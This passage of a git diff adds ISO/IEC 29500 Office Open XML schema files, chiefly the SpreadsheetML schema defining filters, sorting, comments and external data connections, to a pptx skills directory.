type="CT_OMathJc" minOccurs="0"/> + <xsd:element name="preSp" type="CT_TwipsMeasure" minOccurs="0"/> + <xsd:element name="postSp" type="CT_TwipsMeasure" minOccurs="0"/> + <xsd:element name="interSp" type="CT_TwipsMeasure" minOccurs="0"/> + <xsd:element name="intraSp" type="CT_TwipsMeasure" minOccurs="0"/> + <xsd:choice minOccurs="0"> + <xsd:element name="wrapIndent" type="CT_TwipsMeasure"/> + <xsd:element name="wrapRight" type="CT_OnOff"/> + </xsd:choice> + <xsd:element name="intLim" type="CT_LimLoc" minOccurs="0"/> + <xsd:element name="naryLim" type="CT_LimLoc" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:element name="mathPr" type="CT_MathPr"/> + <xsd:complexType name="CT_OMathPara"> + <xsd:sequence> + <xsd:element name="oMathParaPr" type="CT_OMathParaPr" minOccurs="0"/> + <xsd:element name="oMath" type="CT_OMath" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_OMath"> + <xsd:sequence> + <xsd:group ref="EG_OMathElements" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:element name="oMathPara" type="CT_OMathPara"/> + <xsd:element name="oMath" type="CT_OMath"/> +</xsd:schema> diff --git a/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-relationshipReference.xsd b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-relationshipReference.xsd new file mode 100644 index 00000000..9e86f1b2 --- /dev/null +++ b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-relationshipReference.xsd @@ -0,0 +1,25 @@ +<?xml version="1.0" encoding="utf-8"?> +<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" + xmlns="http://schemas.openxmlformats.org/officeDocument/2006/relationships" + xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" + elementFormDefault="qualified" + targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" + blockDefault="#all"> + <xsd:simpleType name="ST_RelationshipId"> + <xsd:restriction base="xsd:string"/> + </xsd:simpleType> + <xsd:attribute name="id" type="ST_RelationshipId"/> + <xsd:attribute name="embed" type="ST_RelationshipId"/> + <xsd:attribute name="link" type="ST_RelationshipId"/> + <xsd:attribute name="dm" type="ST_RelationshipId" default=""/> + <xsd:attribute name="lo" type="ST_RelationshipId" default=""/> + <xsd:attribute name="qs" type="ST_RelationshipId" default=""/> + <xsd:attribute name="cs" type="ST_RelationshipId" default=""/> + <xsd:attribute name="blip" type="ST_RelationshipId" default=""/> + <xsd:attribute name="pict" type="ST_RelationshipId"/> + <xsd:attribute name="href" type="ST_RelationshipId"/> + <xsd:attribute name="topLeft" type="ST_RelationshipId"/> + <xsd:attribute name="topRight" type="ST_RelationshipId"/> + <xsd:attribute name="bottomLeft" type="ST_RelationshipId"/> + <xsd:attribute name="bottomRight" type="ST_RelationshipId"/> +</xsd:schema> diff --git a/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/sml.xsd b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/sml.xsd new file mode 100644 index 00000000..d0be42e7 --- /dev/null +++ b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/sml.xsd @@ -0,0 +1,4439 @@ +<?xml version="1.0" encoding="utf-8"?> +<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" + xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" + xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" + xmlns:xdr="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing" + xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" + targetNamespace="http://schemas.openxmlformats.org/spreadsheetml/2006/main" + elementFormDefault="qualified"> + <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" + schemaLocation="shared-relationshipReference.xsd"/> + <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" + schemaLocation="shared-commonSimpleTypes.xsd"/> + <xsd:import + namespace="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing" + schemaLocation="dml-spreadsheetDrawing.xsd"/> + <xsd:complexType name="CT_AutoFilter"> + <xsd:sequence> + <xsd:element name="filterColumn" minOccurs="0" maxOccurs="unbounded" type="CT_FilterColumn"/> + <xsd:element name="sortState" minOccurs="0" maxOccurs="1" type="CT_SortState"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="ref" type="ST_Ref"/> + </xsd:complexType> + <xsd:complexType name="CT_FilterColumn"> + <xsd:choice minOccurs="0" maxOccurs="1"> + <xsd:element name="filters" type="CT_Filters" minOccurs="0" maxOccurs="1"/> + <xsd:element name="top10" type="CT_Top10" minOccurs="0" maxOccurs="1"/> + <xsd:element name="customFilters" type="CT_CustomFilters" minOccurs="0" maxOccurs="1"/> + <xsd:element name="dynamicFilter" type="CT_DynamicFilter" minOccurs="0" maxOccurs="1"/> + <xsd:element name="colorFilter" type="CT_ColorFilter" minOccurs="0" maxOccurs="1"/> + <xsd:element name="iconFilter" minOccurs="0" maxOccurs="1" type="CT_IconFilter"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:choice> + <xsd:attribute name="colId" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="hiddenButton" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="showButton" type="xsd:boolean" use="optional" default="true"/> + </xsd:complexType> + <xsd:complexType name="CT_Filters"> + <xsd:sequence> + <xsd:element name="filter" type="CT_Filter" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="dateGroupItem" type="CT_DateGroupItem" minOccurs="0" maxOccurs="unbounded" + /> + </xsd:sequence> + <xsd:attribute name="blank" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="calendarType" type="s:ST_CalendarType" use="optional" default="none"/> + </xsd:complexType> + <xsd:complexType name="CT_Filter"> + <xsd:attribute name="val" type="s:ST_Xstring"/> + </xsd:complexType> + <xsd:complexType name="CT_CustomFilters"> + <xsd:sequence> + <xsd:element name="customFilter" type="CT_CustomFilter" minOccurs="1" maxOccurs="2"/> + </xsd:sequence> + <xsd:attribute name="and" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_CustomFilter"> + <xsd:attribute name="operator" type="ST_FilterOperator" default="equal" use="optional"/> + <xsd:attribute name="val" type="s:ST_Xstring"/> + </xsd:complexType> + <xsd:complexType name="CT_Top10"> + <xsd:attribute name="top" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="percent" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="val" type="xsd:double" use="required"/> + <xsd:attribute name="filterVal" type="xsd:double" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_ColorFilter"> + <xsd:attribute name="dxfId" type="ST_DxfId" use="optional"/> + <xsd:attribute name="cellColor" type="xsd:boolean" use="optional" default="true"/> + </xsd:complexType> + <xsd:complexType name="CT_IconFilter"> + <xsd:attribute name="iconSet" type="ST_IconSetType" use="required"/> + <xsd:attribute name="iconId" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_FilterOperator"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="equal"/> + <xsd:enumeration value="lessThan"/> + <xsd:enumeration value="lessThanOrEqual"/> + <xsd:enumeration value="notEqual"/> + <xsd:enumeration value="greaterThanOrEqual"/> + <xsd:enumeration value="greaterThan"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_DynamicFilter"> + <xsd:attribute name="type" type="ST_DynamicFilterType" use="required"/> + <xsd:attribute name="val" type="xsd:double" use="optional"/> + <xsd:attribute name="valIso" type="xsd:dateTime" use="optional"/> + <xsd:attribute name="maxVal" type="xsd:double" use="optional"/> + <xsd:attribute name="maxValIso" type="xsd:dateTime" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_DynamicFilterType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="null"/> + <xsd:enumeration value="aboveAverage"/> + <xsd:enumeration value="belowAverage"/> + <xsd:enumeration value="tomorrow"/> + <xsd:enumeration value="today"/> + <xsd:enumeration value="yesterday"/> + <xsd:enumeration value="nextWeek"/> + <xsd:enumeration value="thisWeek"/> + <xsd:enumeration value="lastWeek"/> + <xsd:enumeration value="nextMonth"/> + <xsd:enumeration value="thisMonth"/> + <xsd:enumeration value="lastMonth"/> + <xsd:enumeration value="nextQuarter"/> + <xsd:enumeration value="thisQuarter"/> + <xsd:enumeration value="lastQuarter"/> + <xsd:enumeration value="nextYear"/> + <xsd:enumeration value="thisYear"/> + <xsd:enumeration value="lastYear"/> + <xsd:enumeration value="yearToDate"/> + <xsd:enumeration value="Q1"/> + <xsd:enumeration value="Q2"/> + <xsd:enumeration value="Q3"/> + <xsd:enumeration value="Q4"/> + <xsd:enumeration value="M1"/> + <xsd:enumeration value="M2"/> + <xsd:enumeration value="M3"/> + <xsd:enumeration value="M4"/> + <xsd:enumeration value="M5"/> + <xsd:enumeration value="M6"/> + <xsd:enumeration value="M7"/> + <xsd:enumeration value="M8"/> + <xsd:enumeration value="M9"/> + <xsd:enumeration value="M10"/> + <xsd:enumeration value="M11"/> + <xsd:enumeration value="M12"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_IconSetType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="3Arrows"/> + <xsd:enumeration value="3ArrowsGray"/> + <xsd:enumeration value="3Flags"/> + <xsd:enumeration value="3TrafficLights1"/> + <xsd:enumeration value="3TrafficLights2"/> + <xsd:enumeration value="3Signs"/> + <xsd:enumeration value="3Symbols"/> + <xsd:enumeration value="3Symbols2"/> + <xsd:enumeration value="4Arrows"/> + <xsd:enumeration value="4ArrowsGray"/> + <xsd:enumeration value="4RedToBlack"/> + <xsd:enumeration value="4Rating"/> + <xsd:enumeration value="4TrafficLights"/> + <xsd:enumeration value="5Arrows"/> + <xsd:enumeration value="5ArrowsGray"/> + <xsd:enumeration value="5Rating"/> + <xsd:enumeration value="5Quarters"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_SortState"> + <xsd:sequence> + <xsd:element name="sortCondition" minOccurs="0" maxOccurs="64" type="CT_SortCondition"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="columnSort" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="caseSensitive" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="sortMethod" type="ST_SortMethod" use="optional" default="none"/> + <xsd:attribute name="ref" type="ST_Ref" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_SortCondition"> + <xsd:attribute name="descending" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="sortBy" type="ST_SortBy" use="optional" default="value"/> + <xsd:attribute name="ref" type="ST_Ref" use="required"/> + <xsd:attribute name="customList" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="dxfId" type="ST_DxfId" use="optional"/> + <xsd:attribute name="iconSet" type="ST_IconSetType" use="optional" default="3Arrows"/> + <xsd:attribute name="iconId" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_SortBy"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="value"/> + <xsd:enumeration value="cellColor"/> + <xsd:enumeration value="fontColor"/> + <xsd:enumeration value="icon"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_SortMethod"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="stroke"/> + <xsd:enumeration value="pinYin"/> + <xsd:enumeration value="none"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_DateGroupItem"> + <xsd:attribute name="year" type="xsd:unsignedShort" use="required"/> + <xsd:attribute name="month" type="xsd:unsignedShort" use="optional"/> + <xsd:attribute name="day" type="xsd:unsignedShort" use="optional"/> + <xsd:attribute name="hour" type="xsd:unsignedShort" use="optional"/> + <xsd:attribute name="minute" type="xsd:unsignedShort" use="optional"/> + <xsd:attribute name="second" type="xsd:unsignedShort" use="optional"/> + <xsd:attribute name="dateTimeGrouping" type="ST_DateTimeGrouping" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_DateTimeGrouping"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="year"/> + <xsd:enumeration value="month"/> + <xsd:enumeration value="day"/> + <xsd:enumeration value="hour"/> + <xsd:enumeration value="minute"/> + <xsd:enumeration value="second"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_CellRef"> + <xsd:restriction base="xsd:string"/> + </xsd:simpleType> + <xsd:simpleType name="ST_Ref"> + <xsd:restriction base="xsd:string"/> + </xsd:simpleType> + <xsd:simpleType name="ST_RefA"> + <xsd:restriction base="xsd:string"/> + </xsd:simpleType> + <xsd:simpleType name="ST_Sqref"> + <xsd:list itemType="ST_Ref"/> + </xsd:simpleType> + <xsd:simpleType name="ST_Formula"> + <xsd:restriction base="s:ST_Xstring"/> + </xsd:simpleType> + <xsd:simpleType name="ST_UnsignedIntHex"> + <xsd:restriction base="xsd:hexBinary"> + <xsd:length value="4"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_UnsignedShortHex"> + <xsd:restriction base="xsd:hexBinary"> + <xsd:length value="2"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_XStringElement"> + <xsd:attribute name="v" type="s:ST_Xstring" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_Extension"> + <xsd:sequence> + <xsd:any processContents="lax"/> + </xsd:sequence> + <xsd:attribute name="uri" type="xsd:token"/> + </xsd:complexType> + <xsd:complexType name="CT_ObjectAnchor"> + <xsd:sequence> + <xsd:element ref="xdr:from" minOccurs="1" maxOccurs="1"/> + <xsd:element ref="xdr:to" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="moveWithCells" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="sizeWithCells" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:group name="EG_ExtensionList"> + <xsd:sequence> + <xsd:element name="ext" type="CT_Extension" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:group> + <xsd:complexType name="CT_ExtensionList"> + <xsd:sequence> + <xsd:group ref="EG_ExtensionList" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:element name="calcChain" type="CT_CalcChain"/> + <xsd:complexType name="CT_CalcChain"> + <xsd:sequence> + <xsd:element name="c" type="CT_CalcCell" minOccurs="1" maxOccurs="unbounded"/> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_CalcCell"> + <xsd:attribute name="r" type="ST_CellRef" use="optional"/> + <xsd:attribute name="ref" type="ST_CellRef" use="optional"/> + <xsd:attribute name="i" type="xsd:int" use="optional" default="0"/> + <xsd:attribute name="s" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="l" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="t" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="a" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:element name="comments" type="CT_Comments"/> + <xsd:complexType name="CT_Comments"> + <xsd:sequence> + <xsd:element name="authors" type="CT_Authors" minOccurs="1" maxOccurs="1"/> + <xsd:element name="commentList" type="CT_CommentList" minOccurs="1" maxOccurs="1"/> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Authors"> + <xsd:sequence> + <xsd:element name="author" type="s:ST_Xstring" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_CommentList"> + <xsd:sequence> + <xsd:element name="comment" type="CT_Comment" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Comment"> + <xsd:sequence> + <xsd:element name="text" type="CT_Rst" minOccurs="1" maxOccurs="1"/> + <xsd:element name="commentPr" type="CT_CommentPr" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="ref" type="ST_Ref" use="required"/> + <xsd:attribute name="authorId" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="guid" type="s:ST_Guid" use="optional"/> + <xsd:attribute name="shapeId" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_CommentPr"> + <xsd:sequence> + <xsd:element name="anchor" type="CT_ObjectAnchor" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="locked" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="defaultSize" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="print" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="disabled" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="autoFill" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="autoLine" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="altText" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="textHAlign" type="ST_TextHAlign" use="optional" default="left"/> + <xsd:attribute name="textVAlign" type="ST_TextVAlign" use="optional" default="top"/> + <xsd:attribute name="lockText" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="justLastX" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="autoScale" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:simpleType name="ST_TextHAlign"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="left"/> + <xsd:enumeration value="center"/> + <xsd:enumeration value="right"/> + <xsd:enumeration value="justify"/> + <xsd:enumeration value="distributed"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TextVAlign"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="top"/> + <xsd:enumeration value="center"/> + <xsd:enumeration value="bottom"/> + <xsd:enumeration value="justify"/> + <xsd:enumeration value="distributed"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:element name="MapInfo" type="CT_MapInfo"/> + <xsd:complexType name="CT_MapInfo"> + <xsd:sequence> + <xsd:element name="Schema" type="CT_Schema" minOccurs="1" maxOccurs="unbounded"/> + <xsd:element name="Map" type="CT_Map" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="SelectionNamespaces" type="xsd:string" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_Schema" mixed="true"> + <xsd:sequence> + <xsd:any/> + </xsd:sequence> + <xsd:attribute name="ID" type="xsd:string" use="required"/> + <xsd:attribute name="SchemaRef" type="xsd:string" use="optional"/> + <xsd:attribute name="Namespace" type="xsd:string" use="optional"/> + <xsd:attribute name="SchemaLanguage" type="xsd:token" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Map"> + <xsd:sequence> + <xsd:element name="DataBinding" type="CT_DataBinding" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="ID" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="Name" type="xsd:string" use="required"/> + <xsd:attribute name="RootElement" type="xsd:string" use="required"/> + <xsd:attribute name="SchemaID" type="xsd:string" use="required"/> + <xsd:attribute name="ShowImportExportValidationErrors" type="xsd:boolean" use="required"/> + <xsd:attribute name="AutoFit" type="xsd:boolean" use="required"/> + <xsd:attribute name="Append" type="xsd:boolean" use="required"/> + <xsd:attribute name="PreserveSortAFLayout" type="xsd:boolean" use="required"/> + <xsd:attribute name="PreserveFormat" type="xsd:boolean" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_DataBinding"> + <xsd:sequence> + <xsd:any/> + </xsd:sequence> + <xsd:attribute name="DataBindingName" type="xsd:string" use="optional"/> + <xsd:attribute name="FileBinding" type="xsd:boolean" use="optional"/> + <xsd:attribute name="ConnectionID" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="FileBindingName" type="xsd:string" use="optional"/> + <xsd:attribute name="DataBindingLoadMode" type="xsd:unsignedInt" use="required"/> + </xsd:complexType> + <xsd:element name="connections" type="CT_Connections"/> + <xsd:complexType name="CT_Connections"> + <xsd:sequence> + <xsd:element name="connection" minOccurs="1" maxOccurs="unbounded" type="CT_Connection"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Connection"> + <xsd:sequence> + <xsd:element name="dbPr" minOccurs="0" maxOccurs="1" type="CT_DbPr"/> + <xsd:element name="olapPr" minOccurs="0" maxOccurs="1" type="CT_OlapPr"/> + <xsd:element name="webPr" minOccurs="0" maxOccurs="1" type="CT_WebPr"/> + <xsd:element name="textPr" minOccurs="0" maxOccurs="1" type="CT_TextPr"/> + <xsd:element name="parameters" minOccurs="0" maxOccurs="1" type="CT_Parameters"/> + <xsd:element name="extLst" minOccurs="0" maxOccurs="1" type="CT_ExtensionList"/> + </xsd:sequence> + <xsd:attribute name="id" use="required" type="xsd:unsignedInt"/> + <xsd:attribute name="sourceFile" use="optional" type="s:ST_Xstring"/> + <xsd:attribute name="odcFile" use="optional" type="s:ST_Xstring"/> + <xsd:attribute name="keepAlive" use="optional" type="xsd:boolean" default="false"/> + <xsd:attribute name="interval" use="optional" type="xsd:unsignedInt" default="0"/> + <xsd:attribute name="name" use="optional" type="s:ST_Xstring"/> + <xsd:attribute name="description" use="optional" type="s:ST_Xstring"/> + <xsd:attribute name="type" use="optional" type="xsd:unsignedInt"/> + <xsd:attribute name="reconnectionMethod" use="optional" type="xsd:unsignedInt" default="1"/> + <xsd:attribute name="refreshedVersion" use="required" type="xsd:unsignedByte"/> + <xsd:attribute name="minRefreshableVersion" use="optional" type="xsd:unsignedByte" default="0"/> + <xsd:attribute name="savePassword" use="optional" type="xsd:boolean" default="false"/> + <xsd:attribute name="new" use="optional" type="xsd:boolean" default="false"/> + <xsd:attribute name="deleted" use="optional" type="xsd:boolean" default="false"/> + <xsd:attribute name="onlyUseConnectionFile" use="optional" type="xsd:boolean" default="false"/> + <xsd:attribute name="background" use="optional" type="xsd:boolean" default="false"/> + <xsd:attribute name="refreshOnLoad" use="optional" type="xsd:boolean" default="false"/> + <xsd:attribute name="saveData" use="optional" type="xsd:boolean" default="false"/> + <xsd:attribute name="credentials" use="optional" type="ST_CredMethod" default="integrated"/> + <xsd:attribute name="singleSignOnId" use="optional" type="s:ST_Xstring"/> + </xsd:complexType> + <xsd:simpleType name="ST_CredMethod"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="integrated"/> + <xsd:enumeration value="none"/> + <xsd:enumeration value="stored"/> + <xsd:enumeration value="prompt"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_DbPr"> + <xsd:attribute name="connection" use="required" type="s:ST_Xstring"/> + <xsd:attribute name="command" use="optional" type="s:ST_Xstring"/> + <xsd:attribute name="serverCommand" use="optional" type="s:ST_Xstring"/> + <xsd:attribute name="commandType" use="optional" type="xsd:unsignedInt" default="2"/> + </xsd:complexType> + <xsd:complexType name="CT_OlapPr"> + <xsd:attribute name="local" use="optional" type="xsd:boolean" default="false"/> + <xsd:attribute name="localConnection" use="optional" type="s:ST_Xstring"/> + <xsd:attribute name="localRefresh" use="optional" type="xsd:boolean" default="true"/> + <xsd:attribute name="sendLocale" use="optional" type="xsd:boolean" default="false"/> + <xsd:attribute name="rowDrillCount" use="optional" type="xsd:unsignedInt"/> + <xsd:attribute name="serverFill" use="optional" type="xsd:boolean" default="true"/> + <xsd:attribute name="serverNumberFormat" use="optional" type="xsd:boolean" default="true"/> + <xsd:attribute name="serverFont" use="optional" type="xsd:boolean" default="true"/> + <xsd:attribute name="serverFontColor" use="optional" type="xsd:boolean" default="true"/> + </xsd:complexType> + <xsd:complexType name="CT_WebPr"> + <xsd:sequence> + <xsd:element name="tables" minOccurs="0" maxOccurs="1" type="CT_Tables"/> + </xsd:sequence> + <xsd:attribute name="xml" use="optional" type="xsd:boolean" default="false"/> + <xsd:attribute name="sourceData" use="optional" type="xsd:boolean" default="false"/> + <xsd:attribute name="parsePre" use="optional" type="xsd:boolean" default="false"/> + <xsd:attribute name="consecutive" use="optional" type="xsd:boolean" default="false"/> + <xsd:attribute name="firstRow" use="optional" type="xsd:boolean" default="false"/> + <xsd:attribute name="xl97" use="optional" type="xsd:boolean" default="false"/> + <xsd:attribute name="textDates" use="optional" type="xsd:boolean" default="false"/> + <xsd:attribute name="xl2000" use="optional" type="xsd:boolean" default="false"/> + <xsd:attribute name="url" use="optional" type="s:ST_Xstring"/> + <xsd:attribute name="post" use="optional" type="s:ST_Xstring"/> + <xsd:attribute name="htmlTables" use="optional" type="xsd:boolean" default="false"/> + <xsd:attribute name="htmlFormat" use="optional" type="ST_HtmlFmt" default="none"/> + <xsd:attribute name="editPage" use="optional" type="s:ST_Xstring"/> + </xsd:complexType> + <xsd:simpleType name="ST_HtmlFmt"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="rtf"/> + <xsd:enumeration value="all"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Parameters"> + <xsd:sequence> + <xsd:element name="parameter" minOccurs="1" maxOccurs="unbounded" type="CT_Parameter"/> + </xsd:sequence> + <xsd:attribute name="count" use="optional" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_Parameter"> + <xsd:attribute name="name" use="optional" type="s:ST_Xstring"/> + <xsd:attribute name="sqlType" use="optional" type="xsd:int" default="0"/> + <xsd:attribute name="parameterType" use="optional" type="ST_ParameterType" default="prompt"/> + <xsd:attribute name="refreshOnChange" use="optional" type="xsd:boolean" default="false"/> + <xsd:attribute name="prompt" use="optional" type="s:ST_Xstring"/> + <xsd:attribute name="boolean" use="optional" type="xsd:boolean"/> + <xsd:attribute name="double" use="optional" type="xsd:double"/> + <xsd:attribute name="integer" use="optional" type="xsd:int"/> + <xsd:attribute name="string" use="optional" type="s:ST_Xstring"/> + <xsd:attribute name="cell" use="optional" type="s:ST_Xstring"/> + </xsd:complexType> + <xsd:simpleType name="ST_ParameterType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="prompt"/> + <xsd:enumeration value="value"/> + <xsd:enumeration value="cell"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Tables"> + <xsd:choice minOccurs="1" maxOccurs="unbounded"> + <xsd:element name="m" type="CT_TableMissing"/> + <xsd:element name="s" type="CT_XStringElement"/> + <xsd:element name="x" type="CT_Index"/> + </xsd:choice> + <xsd:attribute name="count" use="optional" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_TableMissing"/> + <xsd:complexType name="CT_TextPr"> + <xsd:sequence> + <xsd:element name="textFields" minOccurs="0" maxOccurs="1" type="CT_TextFields"/> + </xsd:sequence> + <xsd:attribute name="prompt" use="optional" type="xsd:boolean" default="true"/> + <xsd:attribute name="fileType" use="optional" type="ST_FileType" default="win"/> + <xsd:attribute name="codePage" use="optional" type="xsd:unsignedInt" default="1252"/> + <xsd:attribute name="characterSet" use="optional" type="xsd:string"/> + <xsd:attribute name="firstRow" use="optional" type="xsd:unsignedInt" default="1"/> + <xsd:attribute name="sourceFile" use="optional" type="s:ST_Xstring" default=""/> + <xsd:attribute name="delimited" use="optional" type="xsd:boolean" default="true"/> + <xsd:attribute name="decimal" use="optional" type="s:ST_Xstring" default="."/> + <xsd:attribute name="thousands" use="optional" type="s:ST_Xstring" default=","/> + <xsd:attribute name="tab" use="optional" type="xsd:boolean" default="true"/> + <xsd:attribute name="space" use="optional" type="xsd:boolean" default="false"/> + <xsd:attribute name="comma" use="optional" type="xsd:boolean" default="false"/> + <xsd:attribute name="semicolon" use="optional" type="xsd:boolean" default="false"/> + <xsd:attribute name="consecutive" use="optional" type="xsd:boolean" default="false"/> + <xsd:attribute name="qualifier" use="optional" type="ST_Qualifier" default="doubleQuote"/> + <xsd:attribute name="delimiter" use="optional" type="s:ST_Xstring"/> + </xsd:complexType> + <xsd:simpleType name="ST_FileType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="mac"/> + <xsd:enumeration value="win"/> + <xsd:enumeration value="dos"/> + <xsd:enumeration value="lin"/> + <xsd:enumeration value="other"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_Qualifier"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="doubleQuote"/> + <xsd:enumeration value="singleQuote"/> + <xsd:enumeration value="none"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TextFields"> + <xsd:sequence> + <xsd:element name="textField" minOccurs="1" maxOccurs="unbounded" type="CT_TextField"/> + </xsd:sequence> + <xsd:attribute name="count" use="optional" type="xsd:unsignedInt" default="1"/> + </xsd:complexType> + <xsd:complexType name="CT_TextField"> + <xsd:attribute name="type" use="optional" type="ST_ExternalConnectionType" default="general"/> + <xsd:attribute name="position" use="optional" type="xsd:unsignedInt" default="0"/> + </xsd:complexType> + <xsd:simpleType name="ST_ExternalConnectionType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="general"/> + <xsd:enumeration value="text"/> + <xsd:enumeration value="MDY"/> + <xsd:enumeration value="DMY"/> + <xsd:enumeration value="YMD"/> + <xsd:enumeration value="MYD"/> + <xsd:enumeration value="DYM"/> + <xsd:enumeration value="YDM"/> + <xsd:enumeration value="skip"/> + <xsd:enumeration value="EMD"/> + 